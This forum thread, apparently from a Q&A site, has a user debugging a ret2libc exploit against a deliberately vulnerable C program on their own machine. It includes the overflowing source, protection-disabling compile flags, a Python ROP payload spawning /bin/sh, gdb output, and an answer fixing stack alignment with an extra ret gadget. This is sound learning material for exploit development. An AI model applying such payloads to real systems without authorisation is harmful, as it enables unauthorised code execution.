I am trying to exploit a ret2libc vulnerable code in my own machine. Here is the source code.
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln(char *input);
int main(int argc, char **argv)
{
if (argc > 1){
vuln(argv[1]);
};
return 0;
}
void vuln(char *input){
char buffer[256];
memcpy(buffer, input, 300);
}
Which is vulnerable since there is no border protection.
And this is how I compiled it
gcc -no-pie -fno-stack-protector ret2libc.c -o ret2libc.elf -D_FORTIFY_SOURCE=0 -g
And this is the Python exploitation script.
import sys
import struct
libc_base_address = 0x00007ffff7dbe000
pop_rdi_offset = 0x0000000000023835
bin_sh_offset= 0x198031
system_function_offset = 0x00000000000493d0
exit_function_offset = 0x000000000003b100
pop_rdi_address = struct.pack("Q",libc_base_address+pop_rdi_offset)
bin_sh_address = struct.pack("Q",libc_base_address+bin_sh_offset)
system_function_address = struct.pack("Q",libc_base_address+system_function_offset)
exit_function_address = struct.pack("Q",libc_base_address+exit_function_offset)
buff = b"A"*256
rbp = b"B"*8
sys.stdout.buffer.write(buff+rbp+pop_rdi_address+bin_sh_address+system_function_address+exit_function_address)
264 bytes further the buffer[256], I am overwriting the return address with the pop_rdi gadget. When it is called, the address of the "/bin/sh" is at the top of the stack. Therefore it will be the first and only argument for the system() function. However when I debug it gdb, I am receiving this;
gef➤ r $(python exploit.py)
Starting program: /home/burak/programming/reverse/vuln2/ret2libc.elf $(python exploit.py)
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc8000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e070b3 in ?? () from /usr/lib/libc.so.6
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x007ffff7f9e260 → 0x007fffffffe518 → 0x007fffffffe95c → "ALACRITTY_LOG=/tmp/Alacritty-724115.log"
$rbx : 0x007fffffffe218 → 0x0000000000000c ("
"?)
$rcx : 0x007fffffffe218 → 0x0000000000000c ("
"?)
$rdx : 0x0
$rsp : 0x007fffffffe008 → 0x0000000000000000
$rbp : 0x007fffffffe078 → 0x0000000000000000
$rsi : 0x007ffff7f56031 → 0x68732f6e69622f ("/bin/sh"?)
$rdi : 0x007fffffffe014 → "////////////"
$rip : 0x007ffff7e070b3 → movaps XMMWORD PTR [rsp+0x50], xmm0
$r8 : 0x007fffffffe058 → 0x0000000000000000
$r9 : 0x007fffffffe518 → 0x007fffffffe95c → "ALACRITTY_LOG=/tmp/Alacritty-724115.log"
$r10 : 0x8
$r11 : 0x246
$r12 : 0x007ffff7f56031 → 0x68732f6e69622f ("/bin/sh"?)
$r13 : 0x007fffffffe518 → 0x007fffffffe95c → "ALACRITTY_LOG=/tmp/Alacritty-724115.log"
$r14 : 0x00000000403df0 → 0x000000004010f0 → <__do_global_dtors_aux+0> endbr64
$r15 : 0x007ffff7ffd000 → 0x007ffff7ffe2c0 → 0x0000000000000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe008│+0x0000: 0x0000000000000000 ← $rsp
0x007fffffffe010│+0x0008: 0x2f2f2f2fffffffff
0x007fffffffe018│+0x0010: "////////"
0x007fffffffe020│+0x0018: 0x0000000000000000
0x007fffffffe028│+0x0020: 0x0000000000000000
0x007fffffffe030│+0x0028: 0x0000000000000000
0x007fffffffe038│+0x0030: 0x0000000000000000
0x007fffffffe040│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7e070a4 mov QWORD PTR [rsp+0x60], r12
0x7ffff7e070a9 mov r9, QWORD PTR [rax]
0x7ffff7e070ac lea rsi, [rip+0x14ef7e] # 0x7ffff7f56031
→ 0x7ffff7e070b3 movaps XMMWORD PTR [rsp+0x50], xmm0
0x7ffff7e070b8 mov QWORD PTR [rsp+0x68], 0x0
0x7ffff7e070c1 call 0x7ffff7eb3710 <posix_spawn>
0x7ffff7e070c6 mov rdi, rbx
0x7ffff7e070c9 mov r12d, eax
0x7ffff7e070cc call 0x7ffff7eb3610 <posix_spawnattr_destroy>
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2libc.elf", stopped 0x7ffff7e070b3 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e070b3 → movaps XMMWORD PTR [rsp+0x50], xmm0
[#1] 0x7ffff7df9100 → <exit+0> endbr64
Any ideas ?
Have a look at this: libc's system() when the stack pointer is not 16-padded causes segmentation fault
Assuming pop_rdi_address
is the address of pop rdi; ret
.
In this case, you popped it once on pop_rdi_address
, so rsp
is shifted 8-bytes.
It doesn't align stack on 16-bytes boundary.
I suggest you add ret_address
to ret
again. It will make it pop twice (because ret
is actually pop
& jmp
), resulting in shifted 16-bytes.
ret_offset = pop_rdi_offset + 1 # `pop rdi` is one byte, so here is `ret`.
...
ret_address = struct.pack("Q",libc_base_address+ret_offset)
...
sys.stdout.buffer.write(buff+rbp+pop_rdi_address+bin_sh_address+ret_address+system_function_address+exit_function_address)
Sidenote: The original vulnerable C code is allocated 256-bytes and memcpy 300-bytes. len(buff+rbp+pop_rdi_address+bin_sh_address+ret_address+system_function_address)
is 296-bytes. exit_function_address
will only write the first 4-bytes and won't execute correctly. To solve this, third argument memcpy
should increase like memcpy(buffer, input, 500);